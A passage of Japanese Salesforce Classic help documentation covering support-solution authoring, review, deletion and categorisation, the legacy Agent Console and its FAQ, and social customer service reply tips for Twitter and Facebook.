• タイトルが問題または質問を的確に表現していることを確認する。
• 特定のケースに該当するソリューションを可能な限り多く関連付けて、推奨ソリューション機能の実用性

を向上させる。推奨ソリューションは、特定のケースと各ソリューションの関連性について、そのソリュー
ションが同様のケースに適合する回数によって自動的にスコアを付ける数式を使用して検索されます。

メモ: 一貫性のある書式を使用して、すべてのソリューションを確実に再利用できるようにします。組織
に最適な書式を自分で決定できますが、各ソリューションには、タイトル、問題の兆候、問題の原因お
よび問題の解決法が、必ず含まれていることを確認してください。

検索のしやすさ
• 複数のトラブルシューティングの方針からでも、異なる方法で問題を記述するさまざまな人にでも、ソ

リューションが検索できることを確認する。
• ソリューションは独自のものであり、個別の知識の断片としても存続できることを確認する。
• ソリューションは組織にとって有意義であり、顧客と共有する価値があることを確認する。
• ソリューションに、顧客が使用する語句が含まれていることを確認する。これにより、顧客がセルフサー

ビスポータルまたはカスタマーポータルで自身のケースを記録すると、推奨ソリューション機能が語句の
頻度に基づいて有用な結果を返すことが可能になります。たとえば、顧客が「ルータ」に「ハブ」という
単語を使用する場合には、ソリューションに「ハブ」を含めることで、そのソリューションが推奨ソリュー
ションの結果として返される可能性を高めます。

メモ:  Spring '12 以降、新しい組織ではセルフサービスポータルを利用できません。既存の組織は、引
き続きセルフサービスポータルを使用できます。

技術的な正確さ
• ソリューションは正確で最新であることを確認する。
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• 技術的内容のレベルが対象者に適していることを確認する。

ソリューションのサンプル
この例では、特定の問題に対する明確なソリューションを示します。
How do I change an account's billing information?

Problem–Users aren't sure how to change an account's billing information, such as the
credit card number or payment type.
Solution–Change billing information in the active contract on the account.
1. Open an account by clicking its name on the Accounts home page or an Accounts related
list.
2. Scroll to the Contracts related list and click Edit next to the active contract on the
account.
3. Enter the correct billing information.
4. Click Save.

関連トピック:

ソリューションの作成

ソリューションのレビュー

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

ソリューションをレ
ビューする
• ソリューションに対す

る「編集」

ソリューションを公開す
る
• 「公開ソリューション

の管理」

ソリューション管理者、管理者、およびソリューションに対する「編集」権限
を持つユーザは、既存のソリューションを確認できます。ソリューション管理
者、システム管理者、「公開ソリューションの管理」権限を持つユーザは、ソ
リューションを公開できます。
1. ソリューションの詳細ページで [編集] をクリックします。
2. 必要な情報を編集し、[状況] を「レビュー済み」に変更します。
3. [セルフサービスポータルに公開] をオンにすると、組織のカスタマーセルフ

サービスポータルおよびSalesforceカスタマーポータルにそのソリューション
が公開されます。

メモ: ソリューションの [状況]選択リスト項目を [レビュー済みフラグ]

に設定して、ソリューションがカスタマーポータルに表示されるように
する必要はありません。ソリューションで [セルフサービスポータルに
公開]チェックボックスがオンになっている場合には、ソリューション
がカスタマーポータルに表示されます。

4. 必要に応じて、公開ソリューションにアクセスしているユーザがソリュー
ションを利用できるようにするには、[公開知識ベースに公開]チェックボッ
クスをオンにします。
この項目は、公開知識ベースの記事ではなく、ソリューションにのみ適用さ
れます。

5. [保存] をクリックします。
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マルチ言語ソリューションを使用している組織の場合は、翻訳ソリューションのマスタソリューションを
修正すると、翻訳ソリューションの状況ページが表示されます。このページから、翻訳ソリューションの
状態を調整し、ユーザにこれらの翻訳の更新を通知できます。

関連トピック:

ソリューションの作成
ソリューションの分類

ソリューションの削除

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

未公開のソリューション
を削除する
• ソリューションに対す

る「削除」

公開されたソリューショ
ンを削除する
• 「公開ソリューション

の管理」

ソリューションを削除するには、ソリューションのリストページでソリューショ
ンの横にある [削除] をクリックするか、ソリューションの詳細ページで [削除]

をクリックします。[削除]リンクは、ソリューション管理者、システム管理者、
「公開ソリューションの管理」またはソリューションに対する「削除」権限を
持つユーザに対してのみ表示されます。
ソリューションを削除すると、関連するすべての履歴と添付ファイルも削除さ
れます。ソリューションはごみ箱に移動されます。ソリューションを削除して
も関連するケースは削除されませんが、ケースの関連付けは削除されており、
後でそのソリューションを復元しても元には戻りません。
マルチ言語ソリューションを有効にしている組織の場合:

• マスタソリューションを削除しても、それに関連する翻訳ソリューションは
削除されません。代わりに、翻訳ソリューションそれぞれがマスタソリュー
ションとなります。

• 翻訳ソリューションを削除すると、そのマスタソリューションとの関連付け
が削除されます。

• ごみ箱からマスタソリューションまたは翻訳ソリューションを復元しても、
他のマスタソリューションまたは翻訳ソリューションとの関連付けは元に戻
りません。次の手順で翻訳ソリューションの編集ページで [マスタソリュー
ション] 参照項目を変更することにより、関連付けを手動で元に戻すことが
できます。

• 翻訳ソリューションを削除した後に、同じ言語で新しい翻訳ソリューション
を作成できます。ただし、2 番目の翻訳ソリューションを削除するまで、ごみ箱から元の翻訳ソリューショ
ンを復元することはできません。

関連トピック:

ソリューションの概要
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ソリューションの分類

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

ソリューションを分類す
る
• ソリューションに対す

る「編集」

ソリューションカテゴリを使用して、類似グループをまとめます。各ソリュー
ションは、複数のカテゴリに所属できます。ソリューションを分類すると、[ソ
リューション] タブから、またはケースを解決するときに、カテゴリ別にソリュー
ションを参照および検索できます。顧客も、公開ソリューション、セルフサー
ビスポータル、およびカスタマーポータルで、カテゴリ別にソリューションを
参照できます。
システム管理者および「カテゴリの管理」権限を持つユーザは、組織全体でソ
リューションカテゴリを有効にする前にソリューションを分類できます。ソ
リューション参照を有効にすると、適切な権限を持つすべてのユーザが、ソ
リューションを分類できるようになります。
組織でマルチ言語ソリューションが有効である場合は、翻訳ソリューションが
マスタソリューションからソリューションカテゴリを継承します。翻訳ソリュー
ションのカテゴリは、マスタソリューションのカテゴリと同期します。翻訳ソ
リューションのカテゴリを変更するには、マスタソリューションのカテゴリを
変更する必要があります。
1. 分類するソリューションを表示します。
2. [ソリューションカテゴリ] 関連リストで[カテゴリの選択]をクリックします。

システム管理者がカテゴリを定義および有効化していなければ、この関連リストは表示されません。

3. ソリューションカテゴリ階層で [選択] をクリックすると、カテゴリがソリューションに追加されます。該
当するカテゴリがすべて追加されるまで繰り返します。
ソリューションが属するカテゴリ数は制限することをお勧めします。ソリューションを最も関連するカテ
ゴリにのみ追加することで、ユーザや顧客は検索が容易になります。
必要に応じて、[選択解除] をクリックして、ソリューションからカテゴリを削除します。

4. [保存] をクリックします。
後でソリューションからカテゴリを削除するには、ソリューションの詳細ページの [ソリューションカテゴリ]

関連リストの [削除] をクリックします。

メモ: ソリューションカテゴリに関するカスタムレポートを作成できます。ただし、ソリューションカテ
ゴリ情報は、リストビューには表示されません。

関連トピック:

ソリューションの検索
ケースの解決
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マルチ言語ソリューション状況の設定

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

翻訳ソリューションの状
況を変更する
• ソリューションに対す

る「編集」

マスタソリューションを変更した後、必要に応じて、関連付けられている各翻
訳ソリューションの状態を調整し、ユーザにこれらの翻訳の更新を通知できま
す。
1. [状況] 選択リストから、翻訳ソリューションの状況を選択します。たとえ

ば、「ドラフト」、「レビュー済み」、「重複」などです。選択可能な選択
リスト値は、システム管理者が設定します。

2. マスタソリューションが更新され、翻訳ソリューションを翻訳する必要があ
ることを示すには、[変更あり]チェックボックスをオンにします。その翻訳
ソリューションには、マスタソリューションの [翻訳ソリューション] 関連リ
スト上で [変更あり] が表示されます。

3. マスタソリューションが更新され、翻訳ソリューションを翻訳する必要があ
ることを通知するメールをそのソリューションを作成または変更した最新の
有効ユーザに送信する場合は、[通知の送信]チェックボックスをオンにしま
す。
[通知受信者]列に表示されているユーザがメールを受信します。メール通知
は、システムで生成され、編集はできません。メール通知は、通知受信者の
言語で生成されます。

4. [保存] をクリックします。

関連トピック:

マルチ言語ソリューションの概要
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ソリューションホームページ

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

[ソリューション] タブを参
照する
• ソリューションに対す

る「参照」

ソリューションを参照す
る
• ソリューションに対す

る「参照」

ソリューションを作成す
る
• ソリューションに対す

る「作成」

[ソリューション] タブをクリックすると、ソリューションホームページが表示さ
れます。
• [ソリューションの検索] で、ソリューションを検索するためのキーワードを

入力します。組織でカテゴリを使用している場合は、必要に応じて検索対象
カテゴリを選択します。組織でマルチ言語ソリューションが有効である場合
は、キーワードが一致するすべての言語のソリューションが検索結果として
返されます。ただし、1 つの言語から検索した用語は他の言語では処理が異
なるため、すべての言語にわたる検索結果は、信頼できないことがありま
す。

• [カテゴリ別にソリューションを参照] セクションで、カテゴリ名をクリック
して、対象カテゴリおよびサブカテゴリのソリューション一覧を表示しま
す。

• 項目の絞り込みリストを表示するには、[表示] ドロップダウンリストから
事前定義済みのリストを選択するか、[新規ビューの作成] をクリックして、
自分専用のカスタムビューを定義します。作成したビューを編集または削除
するには、[表示]ドロップダウンリストから選択し、[編集]をクリックしま
す。

• [最近使ったソリューション] セクションのドロップダウンリストから項目を
選択して、検索基準と一致する上位ソリューションの簡略リストを表示しま
す。このリストからソリューション名をクリックすると、ソリューションの
詳細に直接移動できます。表示する項目数を変更するには、[25 件表示する]

と [10 件表示する]を切り替えます。表示される項目は、システム管理者が定
義した [ソリューション] タブの検索レイアウトおよび項目レベルセキュリ
ティ設定 (Professional Edition、Enterprise Edition、Unlimited Edition、Performance

Edition、および Developer Edition のみで利用可能) によって決まります。[最近
使ったソリューション] の選択項目は次のとおりです。

説明最近使ったソリューションの選択項目

最近参照した 10 件または 25 件のソリューションで
す。最後に参照したソリューションがリストの一番

最近参照したデータ

上に表示されます。このリストは、最近自分が参照
した項目から作成され、自分または他のユーザが所
有するレコードが含まれます。

• [最近使ったソリューション] セクションから [新規] をクリックすると、ソリューションを作成できます。
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• [レポート] からレポート名をクリックすると、そのレポートが表示されます。ソリューション一覧レポー
トでは、ソリューションのあらゆる項目についてレポートを作成できます。

関連トピック:

ソリューションの概要
ソリューションの作成
ソリューションの検索

ソリューションの履歴

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ソリューション詳細ページの [ソリューションの履歴] 関連リストでは、ソリュー
ションに加えられた変更を追跡します。ソリューションを追跡する履歴を設定
した標準項目またはカスタム項目が変更されるたびに、[ソリューションの履歴]

関連リストに新しいエントリが追加されます。履歴は、変更の日付、時刻、変
更内容、変更者で構成されます。ソリューションの関連リストへの変更は、ソ
リューションの履歴では追跡されません。

関連トピック:

ソリューションの概要

FAQ - ソリューション

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ソリューション管理者とは?

ソリューションを使用する理由は?

ソリューションと FAQ の違いは?

適切なソリューションの作成方法は?

ソリューションを確認するときに検索する必要がある内容とは?

ソリューションの [セルフサービスポータルに公開] および [公開知識ベース
に公開] チェックボックスとは?

ソリューション管理者とは?

ソリューション管理者は、ソリューションを編集および削除して、セルフサービスポータル、カスタマーポー
タル、公開ソリューションに公開できます。通常、文書による高いコミュニケーション力を持ち、自社製品の
特定の領域に関して高度な知識を有するエキスパートがソリューション管理者になります。ユーザをソリュー
ション管理者に指名するには、管理者がユーザの個人情報を作成または編集するときに、そのユーザをソリュー
ション管理者プロファイルに割り当てます。

関連トピック:

FAQ - ソリューション
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ソリューションを使用する理由は?

ソリューションは、顧客の抱える問題をすばやく特定し、解決する術を提供します。顧客の問題を把握し、検
索可能で再利用可能なソリューションを編み出すことによって、カスタマーサポートチームは既存の知識を利
用して以前に解決した問題への回答を提供できるため、顧客満足度とチームの生産性を高めることができま
す。

関連トピック:

FAQ - ソリューション

ソリューションと FAQ の違いは?

FAQ では、商品またはサービスの機能について役立つヒントを提供します。一方、ソリューションは、商品ま
たはサービスが期待どおりに機能しない場合に、顧客の質問に答えます。顧客の期待は必ずしも正確ではない
ため、ソリューションは、商品またはサービスがどのように機能すべきであるか (FAQ に類似) を説明したり、
問題のトラブルシューティングを支援したり、バグまたは商品の制限の回避方法を提供したりする場合もあり
ます。

関連トピック:

FAQ - ソリューション

適切なソリューションの作成方法は?

質の良いソリューションとは、再利用可能で、簡単に検索でき、技術的な正確なものを指します。

関連トピック:

FAQ - ソリューション

ソリューションを確認するときに検索する必要がある内容とは?

ソリューションマネージャがソリューションをレビューするときに使用するガイドラインは、次のとおりで
す。
1. 構成: ソリューションに、明確な件名、症状、原因、および解決策が含まれていること。
2. 言語: ソリューションが顧客の言語で明確に読みやすく記述されていること。
3. 顧客を特定した情報の有無: ソリューションに、顧客特有の情報が含まれないこと。
4. 技術的な正確性: ソリューションによって、顧客が提示した問題が正確かつ効果的に解決されること。
5. 専門性: 綴りや文の構造に誤りが無いこと。
6. 慎重さ:ソリューションに、競合他社に読み取られては困る部外秘または機密情報が含まれていないこと。

関連トピック:

FAQ - ソリューション
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ソリューションの [セルフサービスポータルに公開] および [公開知識ベースに公開] チェック
ボックスとは?

[セルフサービスポータルに公開]および [公開知識ベースに公開]チェックボックスをオンにすると、ソリュー
ションが社外利用のために組織のセルフサービスポータル、カスタマーポータル、公開ソリューションで公開
されます。社外利用できるソリューションは、公開済みとみなされます。
[公開知識ベースに公開] は、公開知識ベースの記事ではなく、ソリューションにのみ適用されます。

メモ:  Spring '12 以降、新しい組織ではセルフサービスポータルを利用できません。既存の組織は、引き続
きセルフサービスポータルを使用できます。

関連トピック:

FAQ - ソリューション

エージェントコンソール

エディション

エージェントコンソール
は Salesforce Classic で使用
できます。エージェント
コンソールの設定は
Salesforce Classic および
Lightning Experience で使用
できます。

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

コンソールタブのエージェントコンソールを使用すると、ページをあまり切り
替えずに関連情報を見つけることができます。

メモ:  Spring '15 リリース以降、新しい組織でエージェントコンソールは使用
できません。
新しい Salesforce コンソールはエージェントコンソールを改良したもので、
より多くのオプションや高度な技術を使用できます。「Salesforce コンソー
ル」を参照してください。

エージェントコンソールは、ビジネスニーズに従って最も重要な情報を表示す
るように設定できます。エージェントコンソールを設定または使用する前に、
「エージェントコンソールの概念」を確認してください。

関連トピック:

エージェントコンソール - FAQ

エージェントコンソールの表示
エージェントコンソール内での操作
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エージェントコンソールの概念
エディション

エージェントコンソール
は Salesforce Classic で使用
できます。エージェント
コンソールの設定は
Salesforce Classic および
Lightning Experience で使用
できます。

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

次の用語を参照し、エージェントコンソールのコンポーネントを理解してくだ
さい。
フレーム

コンソールのセクションを分割し、それぞれ異なるレコード、リストビュー、
他のページなどを表示します。

リストビュー
コンソールの上部に表示されるフレームで、特定の条件に一致するレコード
がリストビューで表示されます。[コンソール] タブに表示して選択できるリ
ストビューは、各オブジェクトのタブで定義されたリストビューと同じで
す。コンソール内でリストビューを作成することはできません。

詳細ビュー
エージェントコンソールの中央に表示されるフレームで、コンソールの他の
フレームから選択されたレコードの詳細ページが表示されます。詳細ビュー
には、そのオブジェクトの詳細ページで定義されたページレイアウトと同じ
ものが表示されます。詳細ビューに表示されているレコードは、リストビュー
で強調表示されます。

ミニビュー
エージェントコンソールの右側に表示されるフレームで、詳細ビューに表示されているレコードに関連す
るレコードが表示されます。ミニビューに表示される項目は、システム管理者によってミニページレイア
ウトで定義されます。詳細ビューに表示されているレコードに関連するレコードがない場合は、レコード
ミニビューは表示されません。

サイドバー
エージェントコンソールの左側に表示されるフレームで、Salesforce の各ページに表示されるサイドバーと
同様に、最近使ったデータ、ごみ箱、その他のコンポーネントなどが表示されます。コンソール中のサイ
ドバーを表示または非表示にするには、左側のフレームの境界線をクリックします。

関連オブジェクト
特定のタイプのレコードがコンソールの詳細ビューに表示されている状況で、システム管理者がエージェ
ントコンソールのミニビューへの表示を指定できるオブジェクトです。たとえば、システム管理者は、ケー
スが詳細ビューに表示されているときにミニビューに表示される項目として、関連する取引先、取引先責
任者、納入商品などを指定できます。

ミニページレイアウト
レコードの既存ページレイアウトに表示されている項目のサブセットで、システム管理者が選択してエー
ジェントコンソールのミニビューおよび詳細のフロート表示に表示できます。ミニページレイアウトは、
ページレイアウトから、レコードタイプとプロファイルの関連付け、関連リスト、項目、および項目のア
クセス設定を継承します。

コンソールレイアウト
エージェントコンソールのリストビューフレームに表示するオブジェクトは、システム管理者が選択しま
す。たとえば、システム管理者がコンソールレイアウトにケースを追加すると、そのコンソールレイアウ
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トに割り当てられているプロファイルのユーザが使用するコンソールのリストビューフレームには、ケー
スのリストビューが表示されます。

関連トピック:

エージェントコンソール
エージェントコンソールの表示
エージェントコンソール内での操作
ヒント集: コンソールの使用

エージェントコンソール内での操作
エディション

エージェントコンソール
は Salesforce Classic で使用
できます。エージェント
コンソールの設定は
Salesforce Classic および
Lightning Experience で使用
できます。

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

レコードが表示されるフレームは、エージェントコンソール内でクリックした
内容によって決まります。
詳細ビューで表示できる内容は次のとおりです。

• レコードのボタンまたはリンクをクリックすると、詳細ビューにそのレ
コードが表示されます。

• [このページをメールで送信] ( ) をクリックすると、そのレコードへのリ
ンクがメールに表示されます。

• [このページにリンク] ( ) をクリックすると、そのレコードとレコード
の URL が新規ブラウザのウィンドウに表示されます。

• [印刷用に表示] ( ) をクリックすると、そのレコードの印刷用のプレ
ビューがポップアップウィンドウに表示されます。

• [ページのカスタマイズ] ( ) をクリックすると、そのレコードの詳細
ビューでの関連リストの表示内容をカスタマイズできます。

• [このページのヘルプ] ( ) をクリックすると、そのレコードのオンライン
ヘルプのページが表示されます。

ミニビューで表示できる内容は次のとおりです。
• リンクをクリックすると、レコードが詳細ビューに表示されます。関連するレコードをクリックする

と、ミニビューに表示されます。
• [表示] をクリックすると、レコード全体が詳細ビューに表示されます。
• [編集] をクリックすると、ミニビューにミニ編集ページが表示されます。

ミニ編集ページに表示されていない項目を編集するには、[表示]をクリックして詳細ビューにレコード
全体を表示し、詳細ビューから [編集] をクリックします。

• 関連リストの下にある[表示件数を増やす]をクリックすると、ミニビュー内の関連リストに含まれるレ
コードがさらに表示されます。[表示件数を増やす] をクリックするたびに 5 件のレコードが追加表示さ
れ、最大で 100 件まで表示できます。

メモ: 詳細ビューに表示されているレコードに関連するレコードがない場合は、レコードミニビュー
は表示されません。
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リストビューで表示できる内容は次のとおりです。
• リンクをクリックすると、レコードが詳細ビューに表示されます。
• [更新]をクリックするとリストビューが再度読み込まれ、リストの表示後に加えられたレコードへの更

新を確認できます。
• 列のヘッダーをクリックすると、その列が昇順に並び替えられます。降順に並び替えるには、ヘッダー

をもう一度クリックします。
• リストビューの下部にある文字をクリックすると、リストビューのレコードがその文字を含むものに絞

り込まれます。
• リストビューの下部にある [減らす] または [追加] をクリックすると、リストの表示件数が変更されま

す。
• リストビューの下部にある [前のページ]または [次のページ]をクリックすると、リストの前のページま

たは次のページへ移動します。
• 詳細は、「エージェントコンソールリストビューの使用」を参照してください。

サイドバーで表示できる内容は次のとおりです。
• 左側のフレームの境界線をクリックすると、コンソールにサイドバーが表示されます。左側のフレーム

の境界線を再度クリックすると、サイドバーが非表示になります。
• [最近使ったデータ] の下にあるレコードをクリックすると、そのレコードが詳細ビューに表示されま

す。
• [カレンダー] をクリックすると、カレンダーが詳細ビューに表示されます。
• [ごみ箱] をクリックすると、ごみ箱が詳細ビューに表示されます。

関連トピック:

エージェントコンソール - FAQ

エージェントコンソール
エージェントコンソールの概念
エージェントコンソールの表示
エージェントコンソールリストビューの使用
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エージェントコンソールの表示
エディション

エージェントコンソール
は Salesforce Classic で使用
できます。エージェント
コンソールの設定は
Salesforce Classic および
Lightning Experience で使用
できます。

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

エージェントコンソールは、「エージェントコンソール」の説明に従ってシス
テム管理者が設定すると使用を開始できます。
エージェントコンソールを表示するには、[コンソール] タブをクリックします。
コンソールを終了するには、任意のタブをクリックします。
選択したリストビューにレコードが含まれない場合は、コンソールにデータは
表示されません。

メモ: システム管理者がユーザプロファイルをコンソールレイアウトに割
り当てていて、そのユーザに [コンソール] タブへのアクセス権を付与した
場合にのみ、ユーザはエージェントコンソールにアクセスできます。[コン
ソール] タブがタブセットに表示されるように、表示をカスタマイズできま
す。

関連トピック:

エージェントコンソール - FAQ

エージェントコンソール
エージェントコンソール内での操作

エージェントコンソールリストビューの使用
エディション

エージェントコンソール
は Salesforce Classic で使用
できます。エージェント
コンソールの設定は
Salesforce Classic および
Lightning Experience で使用
できます。

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

エージェントコンソールのリストビューでは、コンソール画面のまま Salesforce

のアクションをすばやく実行できます。
リストビューの表示

リストビューフレームの左上部にあるドロップダウンリストからオブジェク
トを選択し、オブジェクトのリストビューを選択してコンソールのリスト
ビューフレームを表示します。コンソール内でリストビューを作成すること
はできません。
[更新] をクリックするとリストビューが再度読み込まれ、リストの表示後に
更新された情報を取得して確認できます。レコードが更新されると、更新ボ
タンの色が自動的に変わります。
詳細ビューで編集されたレコードは、リストビューでは斜体で表示されま
す。こうして、編集したレコードを表示します。

検索
リストビューの上部にある検索ボックスにキーワードを入力して [Go!] をク
リックすると、組織内でアクセスできる検索可能なすべてのレコードに対し
て高度な検索が実行されます。高度な検索で指定された複数のキーワード
は、全体が語句として扱われるのではなく、それぞれの語が独立した単語として扱われ、レコード内の異
なる索引付き項目から検索できます。つまり、「Pat Powers」という名前を高度な検索で検索すると、「Pat

P Powers」という取引先責任者名のほかに、「smith@powers.com」というメールアドレスを持つ「Pat Smith」
という取引先責任者名も返されます。検索結果は詳細ビューに表示されます。
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レコードの作成
[新規作成] ドロップダウンリストから、新規レコードを作成するオブジェクトを選択します。新規レコー
ドのページは詳細ビューに表示されます。

最近使ったデータの参照
[最近使ったデータ] ドロップダウンリストの最近参照したレコード 10 件から選択して表示できます。最近
使ったデータは詳細ビューに表示されます。

一括処理の実行
リストビューのアイテムの横にあるチェックボックスをオンにし、[一括処理] ドロップダウンリストから、
選択したレコードに対して実行したいアクションを選択します。
Internet Explorer の使用中に、200 を超えるレコードについて一括アクションを実行する場合、Salesforceから自
動的にログアウトする場合があります。

メモ: 選択したリストビューにレコードが含まれない場合は、コンソールにデータは表示されません。

関連トピック:

エージェントコンソール
エージェントコンソールの概念
エージェントコンソールの表示
エージェントコンソール内での操作

エージェントコンソール - FAQ

エディション

エージェントコンソール
は Salesforce Classic で使用
できます。エージェント
コンソールの設定は
Salesforce Classic および
Lightning Experience で使用
できます。

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

• Salesforce の [コンソール] タブとその他のタブの違いは何ですか?

• エージェントコンソールを表示する方法は?

• エージェントコンソールに特定のオブジェクトのリストビューしか表示され
ません

• 複数のエージェントコンソールを表示できますか?

• エージェントコンソールは Salesforce コンソールと同じものですか?

Salesforce の [コンソール] タブとその他のタブの違
いは何ですか?
[コンソール] タブは Salesforce のその他のタブとほとんど変わりませんが、コン
ソールでは Salesforce のさまざまなタブのレコードをすべて 1 つの [コンソール]

タブに表示できる点が違います。この特殊な表示はエージェントコンソールと
呼ばれ、ユーザは Salesforce を操作するときに、必要なすべての情報を 1 つのタ
ブに表示できます。ユーザは [コンソール] タブのエージェントコンソールを使
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用して、ケース、取引先、および取引先責任者などのレコードを、何度も画面を遷移したりクリックしたりす
ることなく、すばやく検索、参照、編集できます。

関連トピック:

エージェントコンソール - FAQ

エージェントコンソールを表示する方法は?
[コンソール] タブをクリックすると、エージェントコンソールを表示できます。システム管理者がユーザプロ
ファイルをコンソールレイアウトに割り当てていて、そのユーザに [コンソール] タブへのアクセス権を付与し
た場合にのみ、ユーザはエージェントコンソールにアクセスできます。[コンソール] タブがタブセットに表示
されるように、表示をカスタマイズできます。

関連トピック:

エージェントコンソール - FAQ

エージェントコンソールに特定のオブジェクトのリストビューしか
表示されません
エージェントコンソールに表示できるオブジェクトのリストビューは、ユーザプロファイルに割り当てられた
コンソールレイアウトで、システム管理者によって定義されます。

関連トピック:

エージェントコンソール - FAQ

複数のエージェントコンソールを表示できますか?
いいえ。エージェントコンソールは 1 つしか表示できません。ただし、システム管理者は、さまざまなエー
ジェントコンソールレイアウトをカスタマイズして、エージェントコンソールのリストビューにさまざまなオ
ブジェクトを表示し、それらのコンソールレイアウトをユーザプロファイルに割り当てて、さまざまなユーザ
の業務上のニーズを満たすことができます。

関連トピック:

エージェントコンソール - FAQ
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エージェントコンソールは Salesforce コンソールと同じものですか?
いいえ。Salesforce コンソールは、さらに高度なオプションやテクノロジを提供してエージェントコンソールを
改良したものです。

関連トピック:

エージェントコンソール - FAQ

ソーシャルカスタマーサービスの使用

ソーシャルアクションのヒント
エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

ソーシャルカスタマー
サービスを使用可能なエ
ディション: API が有効に
なっている Professional
Edition、Enterprise
Edition、Performance
Edition、および Unlimited
Edition

ユーザ権限

ソーシャルメディア投稿
またはメッセージを送信
および受信する
• 「ソーシャルオブジェ

クト」

および

「ソーシャルパブリッ
シャー」

および

ケースフィードを有効
化

および

ソーシャル取引先

ケースのソーシャルアクションまたはリードフィードを使用して、ソーシャル
投稿に応答します。応答を作成する時には、適切なメッセージ種別を選択しま
す。たとえば、Twitter で、公開ツイートではなくダイレクトメッセージで返信す
ることを選択できます。
ソーシャルアクションのレイアウトには、少なくとも次の項目を含めることを
お勧めします。

説明項目

返信先のソーシャル投稿とそのコンテ
ンツ。フィード内の特定の項目にコン
テンツを追加するには、フィードの [返
信]、[リツイート]、[コメント] リンク
を使用します。

返信

プロファイルまたは権限セットによっ
て管理ソーシャル取引先にアクセスす
る必要があります。アクセス権のある
別の取引先に変更するには、ドロップ
ダウンリストを使用します。

管理ソーシャル取引先

デフォルトでは、受信投稿のメッセー
ジ種別は [返信] に設定されます。別の
有効なメッセージ種別に変更するに
は、ドロップダウンリストを使用しま
す。

メッセージ種別

相互関係の場合、すべての送信内容は
一意である必要があります。同じ会話
で同じ内容を送信することはできませ
ん。すべての Twitter 返信はハンドル
@[ソーシャルハンドル] で開始する必
要があります。

内容
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メモ: ソーシャルカスタマーサービス設定、モデレーションおよび認証のページ、ケースフィードの返信
アクションは、Salesforce Classic でのみ使用できます。

投稿を送信する前に承認が必要な場合、[承認申請]をクリックしてレビュープロセスを開始できます。投稿が
承認または却下される前であれば、[取り消し]で承認申請を取り消しできます。投稿が却下された場合、作成
し直した投稿を [再試行] で再び承認申請できます。承認された投稿は、自動的に公開されます。
次に、ソーシャルネットワークの使用のヒントをいくつか示します。
• Lightning Experience内でケースフィードのソーシャルメディアに対していいね!、いいね! の取り消し、ソース

の表示、削除を行うことができます。ただし、投稿への返信は Salesforce Classic で行う必要があります。
• ソーシャル投稿内の URL は、クリック可能なリンクになります。
• 投稿を削除するときには、Twitter のダイレクトメッセージがメールのように動作することを考慮してくだ

さい。たとえば、送信者は会話ビューからダイレクトメッセージを削除できます。一方、受信者の会話
ビューには、受信者が意図的に削除するまでそのダイレクトメッセージは残ります。

• Twitter のダイレクトメッセージに関して、Twitter には「すべてのユーザーから DM を受け取る」という設定
があります。そのため、この許可が受信者または自分のアカウントに設定されていれば、互いにフォロー
していなくてもダイレクトメッセージをやりとりできる場合があります。

• Twitter の設定で任意のユーザからのダイレクトメッセージの受信が許可されている場合、ユーザをダイレ
クトメッセージの会話に招待するディープリンクを送信できます。ディープリンクによるダイレクトメッ
セージ招待を送信するには、次のリンクをアウトバウンドメッセージに貼り付けます:
https://twitter.com/messages/compose?recipient_id={your Twitter account’s numeric
user ID}

Twitter アカウントの数値 ID を調べるには、twitter.com で [Twitter ユーザ] > [設定] > [Twitter データ]にアクセス
します。Twitter は URL と表示をネイティブクライアント内で処理します。

• エージェントは、[ソースを表示] リンクを使用して、ソーシャルネットワーク内の元の投稿に移動できま
す。

• Salesforce1 では、エージェントはモバイルデバイスからソーシャルコンテンツを参照し、返信できます。
• ソーシャル投稿の [状況] 選択リスト項目を変更するのは、発信投稿を処理している場合のみです。エージェ

ントが受信ソーシャル投稿の詳細ページの状況を手動で設定すると、ケースフィードのソーシャル投稿が
一致しなくなる可能性があります。受信ソーシャル投稿の詳細ページのレイアウトから [状況] 項目を削除
することをお勧めします。たとえば、受信投稿の [状況] を [送信中] に変更すると、ケースフィード項目の
[返信] リンクは、状況を [なし] に戻すまで表示されなくなります。

Twitter アカウントの場合、エージェントはケースフィードとリードフィードを使用して、対応中のコンテンツ
の参照、リツイート、「いいね!」としてマーク、ツイートのフォロー、ツイートおよびダイレクトメッセー
ジへの返信の送信、ソーシャルアカウントで管理しているツイートの削除を実行できます。
Facebook アカウントの場合、ケースとリードは管理された Facebook ページから作成され、エージェントはフィー
ドを使用して、返信先コンテンツの参照、投稿やコメントに対するいいね! の実行、投稿、コメント、返信、
非公開メッセージの送信、ソーシャルアカウントで管理されている投稿の削除ができます。
次に、いくつかのエラーメッセージが表示された場合の対処法を示します。
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アクションメッセージ

返信を使用して、その Twitter ユーザに自分の管理ソー
シャル取引先をフォローしてもらうように依頼しま

You can't send a direct message to this Twitter user because the

user is not following you. (この Twitter ユーザはあなたをフォ
ローしていないため、そのユーザにダイレクトメッ
セージを送信することはできません。)

